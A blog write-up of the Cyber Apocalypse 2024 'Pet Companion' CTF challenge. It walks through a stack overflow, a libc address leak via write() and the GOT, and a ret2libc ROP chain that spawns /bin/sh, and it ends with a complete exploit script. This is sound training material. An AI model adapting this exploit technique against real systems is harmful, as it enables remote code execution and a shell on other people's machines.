CTF Binary Exploitation – Cyber Apocalypse 2024: Hacker Royale – Pet Companion

Hello everyone!

Today I want to write a couple of write-ups of a CTF that we have participated with our work colleagues from Exness. As I’m trying to improve in binary exploitation topic I would like to document here some challenges that I’ve found that were interesting.

This is the CTF link:

https://www.hackthebox.com/events/cyber-apocalypse-2024

And this is the team that we were part of:

https://ctftime.org/team/198916

First of all, don’t use this document as a guide, I can say something that is not 100% correct. I’m more used to binary exploitation in Windows than in Linux.

Another thing that I would like to comment is that what you are going to see here is the exploitation of the binary without using pwntools. I know that is easier and faster to use that python library, but my goal for now is try to learn as much as I can about the topic, and I’ve found that is better for me to do it without pwntools.

Said that… let’s start!

Binary Normal Behaviour

In my case, the first thing that I did was to execute the binary and see what was the normal behaviour, it was expecting to receive an string:

After that I opened the binary in IDA and I saw that the function seemed vulnerable to a Buffer Overflow

Stack Buffer Overflow

To start the exploitation process I’m going to use the following python exploit skeleton:

#!/usr/bin/env python3
 
from pwn import *
import struct
import sys
 
context.binary = elf = ELF('pet_companion', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
 
 
def get_process():
    if len(sys.argv) == 1:
        return elf.process()
 
    host, port = sys.argv[1].split(':')
    return remote(host, port)
 
 
def main():
    p = get_process()

    ### FIRST PAYLOAD - GLIBC ADDRESS LEAK
 
    offset = 200
    junk = b'A' * offset
    payload  = junk
	
    with open('payload', 'wb') as f:
      f.write(payload)

I’m going to start sending 200 A’s:

offset = 200
junk = b'A' * offset
payload  = junk

And I can see that the binary is vulnerable to stack buffer overflow:

It may seem that we don’t have control over RIP register, because he see instead of 8 A’s the following value: “0x00000000004006df”

But this is not true, RIP can’t contain AAAAAAAA (0x4141414141414141) because it’s considered a non-canonical memory address, or, in other words, 0x4141414141414141 is a 64-bit wide address and current CPUs prevent applications and OSes to use 64-bit wide addresses.

You can read more about it in the following reference:
https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation/64-bit-stack-based-buffer-overflow

RIP Position Identification

The process that I followed to see where I was overwritting RIP is to first of all, generate a pattern:

msf-pattern_create -l 200

Then I select the first 4 bytes in the stack:

And I look for them and I find the offset:

Finnally, I confirm that we located RIP correctly:

offset = 72
junk = b'A' * offset

payload  = junk
payload += struct.pack('<Q', 0x0000424242424242) # RIP

Binary Protections

ASLR protection should be enabled, this is a way to check it:

readelf -l pet_companion | grep "GNU_STACK"

But I want to confirm it. I execute the binary and I find his PID. Then I check it’s process maps:

cat /proc/4112016/maps
00400000-00401000 r-xp 00000000 08:01 3950499                            /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion
...
7feede600000-7feede7e7000 r-xp 00000000 08:01 3950502                    /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6
...

Then I close it and execute it again, to see if they memory addresses have changed:

cat /proc/4112016/maps
00400000-00401000 r-xp 00000000 08:01 3950499                            /home/revil/Documents/CTF/HTB02/pet/challenge/pet_companion
...
7fcdf5c00000-7fcdf5de7000 r-xp 00000000 08:01 3950502                    /home/revil/Documents/CTF/HTB02/pet/challenge/glibc/libc.so.6
...

NX protection is also enabled, this means that the stack is not executable and that we need to use ROP. We can verify this by using the command “checksec” in GDB:

LIBC memory address leak

So the next step, is to leak a LIBC memory address, that is needed before being able to find rop gadgets in LIBC and use them to make a system syscall and get a shell.

To leak LIBC memory address I used the following trick. Thank you Toni!!! =)


First we need locate a write function that is called in the binary itself, then prepare the function call to write setting up the function parameters. And finnally execute the call and display in the screen a memory address of LIBC.

Let’s remember how to pass parameters to a function in x64. We need to use registers in the following order: RDI, RSI, RDX, RCX, R8 and R9. If there are more parameters, they need to be in the stack.

Then also, let’s check the linux syscall write:

ssize_t write(int fd, const void buf[.count], size_t count);

So let’s start with the first part of the process. Let’s prepare the function call parameters, we need a 1 that is the value related with the file descriptor STDOUT to print in the screen, and we need it in the register RDI.

To find a “POP RDI” gadget I use Ropper tool:
https://github.com/sashs/Ropper

And I use the following command:

ropper --file ../../challenge/glibc/libc.so.6 -a x86_64 --search "pop rsi"

Then we put this gadget and the value 1 of the file descriptor in the code:

payload  = junk
payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET                  pet companion binary
payload += struct.pack('<Q', 0x1)                # STDOUT

Now that we have the file descriptor ready, we need to setup in RSI the second parameter, that is the buffer.

I use again Ropper and I find a gadget to pop the value that we need in the register RSI. Also, we need to find the write function GOT table inside the binary. That is what is going to give us a valid address inside GLIBC. We can use the following command:

objdump -R ../../challenge/pet_companion | grep -i write

This is the final code for this part, you may notice that I pop a junk value after the GOT write one, this is because the gadget that I’ve found will pop something else in another register that we don’t need.

payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET         pet companion binary

# objdump -R ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION            pet companion binary
payload += struct.pack('<Q', 0xFF)               # JUNK

Now we need to call the write function PLT, to locate it we can use the following command:

objdump -d -j .plt ../../challenge/pet_companion | grep -i write

And this is the memory address:

# objdump -d -j .plt ../../challenge/pet_companion | grep -i write
payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION             pet companion binary

The last thing that we want is to go back to the binary main function, to avoid breaking execution flow. To locate the binary main address we can do it in different ways, for example we can use this command:

objdump -t ../../challenge/pet_companion | grep -i main

And this is the memory address that we need:

# objdump -t ../../challenge/pet_companion | grep -i main
payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION             pet companion binary

Let’s try this part of the exploit, and looks that we are receiving some response 🙂

Parsing LIBC write call memory address

To parse correctly the memory address that we are receiving I use the following piece of code:

p.sendlineafter(b"Set your pet companion's current status:", payload)
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
print(f'-------{p.recvline()}')
write_addr = u64(p.recvline().strip()[:8])
write_addr2 = int((hex(write_addr)),16)
p.info(f'Leaked write() address: {hex(write_addr)}')

Calculating LIBC base address

We need to take into consideration that we are leaking write address call that is inside LIBC, so we are not leaking the LIBC base address.

To calculate the LIBC base address we need to do some maths.

First, we identify where is write call located inside LIBC:

readelf -s ../../challenge/glibc/libc.so.6 | grep write

Then we save it in the code:

# readelf -s ../../challenge/glibc/libc.so.6 | grep write
write_relative_addr = 0x00000000001100f0

After that, we can do the calculations:

glibc_base_addr = b = write_addr2 - write_relative_addr

And we verify that it’s correct:

System Call using ROP

The next step is to build a rop chain to execute a system call and get a shell.

What we need to do isthe following:

  1. Put in RDI the string “/bin/sh”
  2. Do a system syscall
  3. Do an exit syscall
  4. Be sure that our stack is aligned (multiple of 16)

To do all these things I need at least 4 things, first the string “/bin/sh”. I can find it by doing this:

strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh

Then a system call:

readelf -s ../../challenge/glibc/libc.so.6 | grep system

After that an exit call:

readelf -s ../../challenge/glibc/libc.so.6 | grep exit

And to do the stack alignment we just need to add a simple RET instruction that we can find using Ropper.

You can find all the code for this part together in the following code snippet:

payload  = junk
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc
payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET                     glibc
    
# strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
payload += struct.pack('<Q', b + 0x1b3d88)           # "/bin/sh"                        glibc
   
payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc

# readelf -s ../../challenge/glibc/libc.so.6 | grep system 
payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL                      glibc

# readelf -s ../../challenge/glibc/libc.so.6 | grep exit
payload += struct.pack('<Q', b + 0x00000000043110)   # EXIT CALL                        glibc

p.sendlineafter(b"Set your pet companion's current status:", payload)
p.interactive()

Final Exploit

So if we put everything together, the LIBC memory leak, the base_address calculation and the system call we get a shell:

And this is the final exploit:

#!/usr/bin/env python3
 
from pwn import *
import struct
import sys
 
context.binary = elf = ELF('pet_companion', checksec=False)
glibc = ELF('glibc/libc.so.6', checksec=False)
rop = ROP(elf)
 
 
def get_process():
    if len(sys.argv) == 1:
        return elf.process()
 
    host, port = sys.argv[1].split(':')
    return remote(host, port)
 
 
def main():
    p = get_process()

    ### FIRST PAYLOAD - GLIBC ADDRESS LEAK
 
    offset = 72
    junk = b'A' * offset
 
    payload  = junk
    payload += struct.pack('<Q', 0x0000000000400743) # POP RDI, RET                  pet companion binary
    payload += struct.pack('<Q', 0x1)                # STDOUT
    payload += struct.pack('<Q', 0x0000000000400741) # POP RSI, POP R15, RET         pet companion binary

    # objdump -R ../../challenge/pet_companion | grep -i write
    payload += struct.pack('<Q', 0x0000000000600fd8) # GOT WRITE FUNCTION            pet companion binary
    payload += struct.pack('<Q', 0xFF)               # JUNK
    
    # objdump -d -j .plt ../../challenge/pet_companion | grep -i write
    payload += struct.pack('<Q', 0x00000000004004f0) # PLT WRITE FUNCTION             pet companion binary

    # bjdump -t ../../challenge/pet_companion | grep -i main
    payload += struct.pack('<Q', 0x000000000040064a) # BINARY MAIN FUNCTION             pet companion binary

    with open('payload', 'wb') as f:
      f.write(payload)

    p.sendlineafter(b"Set your pet companion's current status:", payload)
    print(f'-------{p.recvline()}')
    print(f'-------{p.recvline()}')
    print(f'-------{p.recvline()}')
    write_addr = u64(p.recvline().strip()[:8])
    write_addr2 = int((hex(write_addr)),16)
    p.info(f'Leaked write() address: {hex(write_addr)}')

    # readelf -s ../../challenge/glibc/libc.so.6 | grep write
    write_relative_addr = 0x00000000001100f0
    
    glibc_base_addr = b = write_addr2 - write_relative_addr

    ### SECOND PAYLOAD - SHELL
 
    payload  = junk
    payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc
    payload += struct.pack('<Q', b + 0x000000000002164f) # POP RDI, RET                     glibc
    
    # strings -a -t x ../../challenge/glibc/libc.so.6 | grep /bin/sh
    payload += struct.pack('<Q', b + 0x1b3d88)           # "/bin/sh"                        glibc
   
    payload += struct.pack('<Q', b + 0x00000000000c76a2) # RET (Stack Alignment)            glibc

    # readelf -s ../../challenge/glibc/libc.so.6 | grep system 
    payload += struct.pack('<Q', b + 0x000000000004f420) # SYSTEM CALL                      glibc

    # readelf -s ../../challenge/glibc/libc.so.6 | grep exit
    payload += struct.pack('<Q', b + 0x00000000043110)   # EXIT CALL                        glibc

    p.sendlineafter(b"Set your pet companion's current status:", payload)
    p.interactive()
 
if __name__ == '__main__':
    main()
This entry was posted in Exploiting and tagged , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *